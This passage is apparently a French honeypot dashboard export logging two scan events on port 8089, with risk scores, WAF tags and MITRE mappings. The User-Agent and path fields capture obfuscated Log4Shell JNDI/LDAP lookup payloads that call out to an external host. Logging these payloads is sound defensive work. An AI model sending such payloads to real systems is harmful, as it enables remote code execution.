"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:47:21 UTC
TCP
8089 · HTTP
Scan de ports
port scan syn · via HTTP:8089 · (reconnaissance)
Élevée
Moyen · 57
Détails
Voir
Étape
Reconnaissance
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Campagne multi-ports
Scan coordonné
Protocole
POST / UA ${${o:fy:-j}${npf:-n}${v06:fb:-d}${k:reia:-i}${wn7:-:}${e:-l}${…
Émulateur
HTTP
WAF
16
Recommandation
Investiguer
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
POST
/
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
8089
Chemin / cible
/
Pourquoi cette classification : Type « port_scan_syn » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +16
Risque capteur
Moyen
· 57
Confiance : Confiance 100 % — 3 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1046
SIGMA-net-port-scan
Beh Scan Burst
Beh Multi Port 60S
Tactiques MITRE
TA0043
Motifs de détection (base)
CRS 933135
Ligne de requête
POST / HTTP/1.1
User-Agent
${${o:fy:-j}${npf:-n}${v06:fb:-d}${k:reia:-i}${wn7:-:}${e:-l}${1:1syi:-d}${mi:q:whsq:-a}${a:5xsk:-p}${8z:-:}${l:a:-/}${5:f13y:-/}${okje:lux:-U}${n0lr:-A}${z1b:mxw1:-l}${jvm:-0}${m2:fp:qr:-c}${k2:wg:-…
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
POST / HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8089
Accept: */*
User-Agent: ${${o:fy:-j}${npf:-n}${v06:fb:-d
Requête brute (extrait)
POST / HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8089 Accept: */* User-Agent: ${${o:fy:-j}${npf:-n}${v06:fb:-d}${k:reia:-i}${wn7:-:}${e:-l}${1:1syi:-d}${mi:q:whsq:-a}${a:5xsk:-p}${8z:-:}${l:a:-/}${5:f13y:-/}${okje:lux:-U}${n0lr:-A}${z1b:m
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "a7b78928e077f892c20f84dda85411835a7a0915",
"http_host_hash": "06b11278b3d8c06d12bf6f74085c2806fc07bb05",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": "c6a3ee862b1450ef667956dfbb31b01e759e26fd",
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 4096,
"payload_entropy": 4.815550198541999,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8089,
"risk_waf": 72,
"risk_classification": 64,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 6,
"risk_breakdown": {
"waf": 72,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 57,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "5e256504645230307d620ce3e464b977231d017e",
"event_fingerprint": "de936a6432fb89a855da618305ffe2db3df65c5f",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 293,
"precision_signals": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-scan-burst",
"INT-beh-multi-port-60s"
],
"kb_rule_ids": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-scan-burst",
"INT-beh-multi-port-60s"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 72,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 57,
"correlation_boost": 16
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "a5b340b35931b33402edae610701af8d",
"payload_hash": "684cc627ecc9be0bd6e41c599b5cfa8b",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8089,
"service": "http",
"service_name": "http",
"risk_score": 57
},
"payload_preview": "POST \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\r\nAccept: *\/*\r\nUser-Agent: ${${o:fy:-j}${npf:-n}${v06:fb:-d",
"method": "POST",
"path": "\/",
"user_agent": "${${o:fy:-j}${npf:-n}${v06:fb:-d}${k:reia:-i}${wn7:-:}${e:-l}${1:1syi:-d}${mi:q:whsq:-a}${a:5xsk:-p}${8z:-:}${l:a:-\/}${5:f13y:-\/}${okje:lux:-U}${n0lr:-A}${z1b:mxw1:-l}${jvm:-0}${m2:fp:qr:-c}${k2:wg:--}${${y:-s}${rf:mc:2ful:-y}${h:hg5d:-s}${ce:encq:t3:-:}$\u2026",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "POST \/ HTTP\/1.1",
"request_sample": "POST \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\r\nAccept: *\/*\r\nUser-Agent: ${${o:fy:-j}${npf:-n}${v06:fb:-d}${k:reia:-i}${wn7:-:}${e:-l}${1:1syi:-d}${mi:q:whsq:-a}${a:5xsk:-p}${8z:-:}${l:a:-\/}${5:f13y:-\/}${okje:lux:-U}${n0lr:-A}${z1b:m",
"payload_snippet": "POST \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\r\nAccept: *\/*\r\nUser-Agent: ${${o:fy:-j}${npf:-n}${v06:fb:-d",
"evidence": {
"method": "POST",
"path": "\/",
"user_agent": "${${o:fy:-j}${npf:-n}${v06:fb:-d}${k:reia:-i}${wn7:-:}${e:-l}${1:1syi:-d}${mi:q:whsq:-a}${a:5xsk:-p}${8z:-:}${l:a:-\/}${5:f13y:-\/}${okje:lux:-U}${n0lr:-A}${z1b:mxw1:-l}${jvm:-0}${m2:fp:qr:-c}${k2:wg:--}${${y:-s}${rf:mc:2ful:-y}${h:hg5d:-s}${ce:encq:t3:-:}$\u2026",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "POST \/ HTTP\/1.1",
"request_sample": "POST \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\r\nAccept: *\/*\r\nUser-Agent: ${${o:fy:-j}${npf:-n}${v06:fb:-d}${k:reia:-i}${wn7:-:}${e:-l}${1:1syi:-d}${mi:q:whsq:-a}${a:5xsk:-p}${8z:-:}${l:a:-\/}${5:f13y:-\/}${okje:lux:-U}${n0lr:-A}${z1b:m",
"payload_snippet": "POST \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\r\nAccept: *\/*\r\nUser-Agent: ${${o:fy:-j}${npf:-n}${v06:fb:-d",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "recon",
"mitre_tactics": [
"TA0043"
],
"mitre_techniques": [
"T1046"
],
"mitre": "T1046",
"threat_family": [
"scanner"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "6a005b012f7da4dbb8f0968e5774365fd706c0bc",
"protocol_details": {
"http_method": "POST",
"http_path": "\/",
"request_line": "POST \/ HTTP\/1.1",
"http_user_agent": "${${o:fy:-j}${npf:-n}${v06:fb:-d}${k:reia:-i}${wn7:-:}${e:-l}${1:1syi:-d}${mi:q:whsq:-a}${a:5xsk:-p}${8z:-:}${l:a:-\/}${\u2026",
"port": 8089,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\r\nAccept: *\/*\r\nUser-Agent: ${${o:fy:-j}${npf:-n}${v06:fb:-d",
"attack_vector": "port scan syn \u00b7 via HTTP:8089 \u00b7 (reconnaissance)",
"target_port_label": "8089 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 57\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via HTTP \u2014 campagne multi-ports",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 72,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 57,
"correlation_boost": 16
},
"attack_stage": "recon",
"attack_stage_label": "Reconnaissance",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 57,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8089,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-scan-burst",
"INT-beh-multi-port-60s"
],
"tags_summary_labels_fr": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"Beh Scan Burst",
"Beh Multi Port 60S"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1046",
"mitre_technique": "T1046",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"campagne_ports",
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Campagne multi-ports",
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +16",
"protocol_details": {
"http_method": "POST",
"http_path": "\/",
"request_line": "POST \/ HTTP\/1.1",
"http_user_agent": "${${o:fy:-j}${npf:-n}${v06:fb:-d}${k:reia:-i}${wn7:-:}${e:-l}${1:1syi:-d}${mi:q:whsq:-a}${a:5xsk:-p}${8z:-:}${l:a:-\/}${\u2026",
"port": 8089,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port scan syn \u00b7 via HTTP:8089 \u00b7 (reconnaissance)",
"evidence_snippet": "POST \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\r\nAccept: *\/*\r\nUser-Agent: ${${o:fy:-j}${npf:-n}${v06:fb:-d",
"target_port_label": "8089 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +16 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": true,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8089"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"port_scan_campaign": true,
"port_scan_distinct_ports": 5,
"port_scan_ports_sample": [
7005,
8083,
8084,
8087,
8089
],
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 9,
"behavior_alerts": [
"port_scan_campaign",
"coordinated_scan"
],
"correlation_confidence_boost": 16,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:47:21 UTC
TCP
8089 · HTTP
Scan de ports
port scan syn · via HTTP:8089 · (reconnaissance) · → /${${cb:eogf:-j}${j5md:-n}${d5mt:o0:94lu:-d}${m…
Élevée
Élevé · 67
Détails
Voir
Étape
Reconnaissance
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Campagne multi-ports
Scan coordonné
Protocole
GET /${${cb:eogf:-j}${j5md:-n}${d5mt:o0:94lu:-d}${mr:o:-i}${8tb:-:}${ud7q:d7tk:-l}${k84:t73:-d}${6i:z61… UA ${${q4:-j}${f:-n}${foa3:js:-d}${z:-i}${p:0n:1:-:}${8:s:5:-l}${f…
Émulateur
HTTP
WAF
26
Recommandation
Investiguer
Tags
950324:rce-0
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/${${cb:eogf:-j}${j5md:-n}${d5mt:o0:94lu:-d}${mr:o:-i}${8tb:-:}${ud7q:d7tk:-l}${k84:t73:-d}${6i:z61:-a}${v5u8:-p}${xka:-:}${nmo:-/}${h:6p:8:-/}${a:c:-P}${s29:5h:-A}${nui:-l}${5v:-0}${vx:-c}${mtk:p:--}${${pt:-s}${i7w:-y}${q:qoer:d:-s}${e4b:8pt:sfdv:-:}${d:xh1:-j}${rza:-a}${qu6:bv:-v}${r98:k4z:m9:-a}${ei:-.}${w:pd:-v}${lpt:7a2:-e}${xs2t:knt:erxp:-r}${tl:-s}${f56:6k:7dpa:-i}${e8:7m:aj:-o}${b:-n}}${lec8:7u:sa2h:-.}${s7je:nmlf:fco1:-5}${onq7:9a1:-5}${a7z3:-7}${57:ft:-4}${feut:dr8p:-3}${h5i:-3}${b:c:-d}${aw:b:-c}
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8089
Chemin / cible
/${${cb:eogf:-j}${j5md:-n}${d5mt:o0:94lu:-d}${mr:o:-i}${8tb:-:}${ud7q:d7tk:-l}${k84:t73:-d}${6i:z61:-a}${v5u8:-p}${xka:-:}${nmo:-/}${h:6p:8:-/}${a:c:-P}${s29:5…
Pourquoi cette classification : Type « port_scan_syn » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +16
Risque capteur
Élevé
· 67
Confiance : Confiance 100 % — 4 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1046
SIGMA-net-port-scan
Beh Scan Burst
Beh Multi Port 60S
Tactiques MITRE
TA0043
Motifs de détection (base)
CRS 933135
Ligne de requête
GET /${${cb:eogf:-j}${j5md:-n}${d5mt:o0:94lu:-d}${mr:o:-i}${8tb:-:}${ud7q:d7tk:-l}${k84:t73:-d}${6i:z61:-a}${v5u8:-p}${xka:-:}${nmo:-/}${h:6p:8:-/}${a:c:-P}${s29:5h:-A}${nui:-l}${5v:-0}${vx:-c}${mtk:p:--}${${pt:-s}${i7w:-y}${q:qoer:d:-s}${e4b:8pt:sfdv:-:}${d:xh1:-j}${rza:-a}${qu6:bv:-v}${r98:k4z:m9:-a}${ei:-.}${w:pd:-v}${lpt:7a2:-e}${xs2t:knt:erxp:-r}${tl:-s}${f56:6k:7dpa:-i}${e8:7m:aj:-o}${b:-n}}${lec8:7u:sa2h:-.}${s7je:nmlf:fco1:-5}${onq7:9a1:-5}${a7z3:-7}${57:ft:-4}${feut:dr8p:-3}${h5i:-3}${b:c:-d}${aw:b
User-Agent
${${q4:-j}${f:-n}${foa3:js:-d}${z:-i}${p:0n:1:-:}${8:s:5:-l}${fy9:d:-d}${0:f:-a}${i1n:ga:-p}${2nc:-:}${v4q:027:w:-/}${8v4:pm:-/}${65eh:0:2n:-U}${90:b4j:71m:-A}${7dsr:qh:sz:-l}${s9r:y:c:-0}${6rzx:-c}$…
Règles WAF
rce-0
nosqli-3
Payload (extrait)
GET /${${cb:eogf:-j}${j5md:-n}${d5mt:o0:94lu:-d}${mr:o:-i}${8tb:-:}${ud7q:d7tk:-l}${k84:t73:-d}${6i:z61:-a}${v5u8:-p}${xka:-:}${
Requête brute (extrait)
GET /${${cb:eogf:-j}${j5md:-n}${d5mt:o0:94lu:-d}${mr:o:-i}${8tb:-:}${ud7q:d7tk:-l}${k84:t73:-d}${6i:z61:-a}${v5u8:-p}${xka:-:}${nmo:-/}${h:6p:8:-/}${a:c:-P}${s29:5h:-A}${nui:-l}${5v:-0}${vx:-c}${mtk:p:--}${${pt:-s}${i7w:-y}${q:qoer:d:-s}${e4b:8pt:sfdv:-:}$
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 3,
"http_path_ext": "}${5f80:ut:pq8t:-g}${swej:kao3:-o}${l1:-o}${m6:t2:omy:-g}}",
"http_ua_hash": "74120ca472e0c5f86f112f3adb530883ee7bc88a",
"http_host_hash": "06b11278b3d8c06d12bf6f74085c2806fc07bb05",
"http_target_hash": "8db5ab6f39fb73cd68584e29678413709a509d02",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 4096,
"payload_entropy": 4.780818672264946,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8089,
"risk_waf": 100,
"risk_classification": 64,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6.7,
"risk_breakdown": {
"waf": 100,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25
},
"risk_score": 67,
"tag_count": 6,
"anomaly_count": 0,
"campaign_key": "d77af361e5bdaea8891df50b5c83b0284d3e2699",
"event_fingerprint": "e0bda73dccd3436de8d2fbbae214a0b473c44d9e",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 293,
"precision_signals": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-scan-burst",
"INT-beh-multi-port-60s"
],
"kb_rule_ids": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-scan-burst",
"INT-beh-multi-port-60s"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 100,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 67,
"correlation_boost": 16
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "fb02c162a7f5e769e3ea6d2ffdeab25a",
"payload_hash": "d326e815ba992706e95bf117b1efc362",
"path_pattern_hash": "a9106bce78c5384101b2077610581940"
},
"target_context": {
"dst_port": 8089,
"service": "http",
"service_name": "http",
"risk_score": 67
},
"method": "GET",
"path": "\/${${cb:eogf:-j}${j5md:-n}${d5mt:o0:94lu:-d}${mr:o:-i}${8tb:-:}${ud7q:d7tk:-l}${k84:t73:-d}${6i:z61:-a}${v5u8:-p}${xka:-:}${nmo:-\/}${h:6p:8:-\/}${a:c:-P}${s29:5h:-A}${nui:-l}${5v:-0}${vx:-c}${mtk:p:--}${${pt:-s}${i7w:-y}${q:qoer:d:-s}${e4b:8pt:sfdv:-:}${d:xh1:-j}${rza:-a}${qu6:bv:-v}${r98:k4z:m9:-a}${ei:-.}${w:pd:-v}${lpt:7a2:-e}${xs2t:knt:erxp:-r}${tl:-s}${f56:6k:7dpa:-i}${e8:7m:aj:-o}${b:-n}}${lec8:7u:sa2h:-.}${s7je:nmlf:fco1:-5}${onq7:9a1:-5}${a7z3:-7}${57:ft:-4}${feut:dr8p:-3}${h5i:-3}${b:c:-d}${aw:b:-c}",
"user_agent": "${${q4:-j}${f:-n}${foa3:js:-d}${z:-i}${p:0n:1:-:}${8:s:5:-l}${fy9:d:-d}${0:f:-a}${i1n:ga:-p}${2nc:-:}${v4q:027:w:-\/}${8v4:pm:-\/}${65eh:0:2n:-U}${90:b4j:71m:-A}${7dsr:qh:sz:-l}${s9r:y:c:-0}${6rzx:-c}${slg:vxmk:--}${${q7z8:-s}${6qz:g72d:sikv:-y}${p:pnx3:r4:\u2026",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/${${cb:eogf:-j}${j5md:-n}${d5mt:o0:94lu:-d}${mr:o:-i}${8tb:-:}${ud7q:d7tk:-l}${k84:t73:-d}${6i:z61:-a}${v5u8:-p}${xka:-:}${nmo:-\/}${h:6p:8:-\/}${a:c:-P}${s29:5h:-A}${nui:-l}${5v:-0}${vx:-c}${mtk:p:--}${${pt:-s}${i7w:-y}${q:qoer:d:-s}${e4b:8pt:sfdv:-:}${d:xh1:-j}${rza:-a}${qu6:bv:-v}${r98:k4z:m9:-a}${ei:-.}${w:pd:-v}${lpt:7a2:-e}${xs2t:knt:erxp:-r}${tl:-s}${f56:6k:7dpa:-i}${e8:7m:aj:-o}${b:-n}}${lec8:7u:sa2h:-.}${s7je:nmlf:fco1:-5}${onq7:9a1:-5}${a7z3:-7}${57:ft:-4}${feut:dr8p:-3}${h5i:-3}${b:c:-d}${aw:b",
"payload_snippet": "GET \/${${cb:eogf:-j}${j5md:-n}${d5mt:o0:94lu:-d}${mr:o:-i}${8tb:-:}${ud7q:d7tk:-l}${k84:t73:-d}${6i:z61:-a}${v5u8:-p}${xka:-:}${",
"evidence": {
"method": "GET",
"path": "\/${${cb:eogf:-j}${j5md:-n}${d5mt:o0:94lu:-d}${mr:o:-i}${8tb:-:}${ud7q:d7tk:-l}${k84:t73:-d}${6i:z61:-a}${v5u8:-p}${xka:-:}${nmo:-\/}${h:6p:8:-\/}${a:c:-P}${s29:5h:-A}${nui:-l}${5v:-0}${vx:-c}${mtk:p:--}${${pt:-s}${i7w:-y}${q:qoer:d:-s}${e4b:8pt:sfdv:-:}${d:xh1:-j}${rza:-a}${qu6:bv:-v}${r98:k4z:m9:-a}${ei:-.}${w:pd:-v}${lpt:7a2:-e}${xs2t:knt:erxp:-r}${tl:-s}${f56:6k:7dpa:-i}${e8:7m:aj:-o}${b:-n}}${lec8:7u:sa2h:-.}${s7je:nmlf:fco1:-5}${onq7:9a1:-5}${a7z3:-7}${57:ft:-4}${feut:dr8p:-3}${h5i:-3}${b:c:-d}${aw:b:-c}",
"user_agent": "${${q4:-j}${f:-n}${foa3:js:-d}${z:-i}${p:0n:1:-:}${8:s:5:-l}${fy9:d:-d}${0:f:-a}${i1n:ga:-p}${2nc:-:}${v4q:027:w:-\/}${8v4:pm:-\/}${65eh:0:2n:-U}${90:b4j:71m:-A}${7dsr:qh:sz:-l}${s9r:y:c:-0}${6rzx:-c}${slg:vxmk:--}${${q7z8:-s}${6qz:g72d:sikv:-y}${p:pnx3:r4:\u2026",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/${${cb:eogf:-j}${j5md:-n}${d5mt:o0:94lu:-d}${mr:o:-i}${8tb:-:}${ud7q:d7tk:-l}${k84:t73:-d}${6i:z61:-a}${v5u8:-p}${xka:-:}${nmo:-\/}${h:6p:8:-\/}${a:c:-P}${s29:5h:-A}${nui:-l}${5v:-0}${vx:-c}${mtk:p:--}${${pt:-s}${i7w:-y}${q:qoer:d:-s}${e4b:8pt:sfdv:-:}${d:xh1:-j}${rza:-a}${qu6:bv:-v}${r98:k4z:m9:-a}${ei:-.}${w:pd:-v}${lpt:7a2:-e}${xs2t:knt:erxp:-r}${tl:-s}${f56:6k:7dpa:-i}${e8:7m:aj:-o}${b:-n}}${lec8:7u:sa2h:-.}${s7je:nmlf:fco1:-5}${onq7:9a1:-5}${a7z3:-7}${57:ft:-4}${feut:dr8p:-3}${h5i:-3}${b:c:-d}${aw:b",
"request_sample": "GET \/${${cb:eogf:-j}${j5md:-n}${d5mt:o0:94lu:-d}${mr:o:-i}${8tb:-:}${ud7q:d7tk:-l}${k84:t73:-d}${6i:z61:-a}${v5u8:-p}${xka:-:}${nmo:-\/}${h:6p:8:-\/}${a:c:-P}${s29:5h:-A}${nui:-l}${5v:-0}${vx:-c}${mtk:p:--}${${pt:-s}${i7w:-y}${q:qoer:d:-s}${e4b:8pt:sfdv:-:}$",
"payload_snippet": "GET \/${${cb:eogf:-j}${j5md:-n}${d5mt:o0:94lu:-d}${mr:o:-i}${8tb:-:}${ud7q:d7tk:-l}${k84:t73:-d}${6i:z61:-a}${v5u8:-p}${xka:-:}${",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "recon",
"mitre_tactics": [
"TA0043"
],
"mitre_techniques": [
"T1046"
],
"mitre": "T1046",
"threat_family": [
"scanner"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "e410648bbcf9d8e25e44f1fb087139836deb6c36",
"protocol_details": {
"http_method": "GET",
"http_path": "\/${${cb:eogf:-j}${j5md:-n}${d5mt:o0:94lu:-d}${mr:o:-i}${8tb:-:}${ud7q:d7tk:-l}${k84:t73:-d}${6i:z61:-a}${v5u8:-p}${xka:-:}${nmo:-\/}${h:6p:8:-\/}${a:c:-P}${s29:5\u2026",
"request_line": "GET \/${${cb:eogf:-j}${j5md:-n}${d5mt:o0:94lu:-d}${mr:o:-i}${8tb:-:}${ud7q:d7tk:-l}${k84:t73:-d}${6i:z61:-a}${v5u8:-p}${xka:-:}${nmo:-\/}${h:6p:8:-\/}${a:c:-P}${s29:5h:-A}${nui:-l}${5v:-0}${vx:-c}${mtk:\u2026",
"http_user_agent": "${${q4:-j}${f:-n}${foa3:js:-d}${z:-i}${p:0n:1:-:}${8:s:5:-l}${fy9:d:-d}${0:f:-a}${i1n:ga:-p}${2nc:-:}${v4q:027:w:-\/}${8\u2026",
"port": 8089,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/${${cb:eogf:-j}${j5md:-n}${d5mt:o0:94lu:-d}${mr:o:-i}${8tb:-:}${ud7q:d7tk:-l}${k84:t73:-d}${6i:z61:-a}${v5u8:-p}${xka:-:}${",
"attack_vector": "port scan syn \u00b7 via HTTP:8089 \u00b7 (reconnaissance) \u00b7 \u2192 \/${${cb:eogf:-j}${j5md:-n}${d5mt:o0:94lu:-d}${m\u2026",
"target_port_label": "8089 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 67\/100 (\u00c9lev\u00e9) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via HTTP \u2014 campagne multi-ports",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 67,
"correlation_boost": 16
},
"attack_stage": "recon",
"attack_stage_label": "Reconnaissance",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 67,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8089,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-scan-burst",
"INT-beh-multi-port-60s"
],
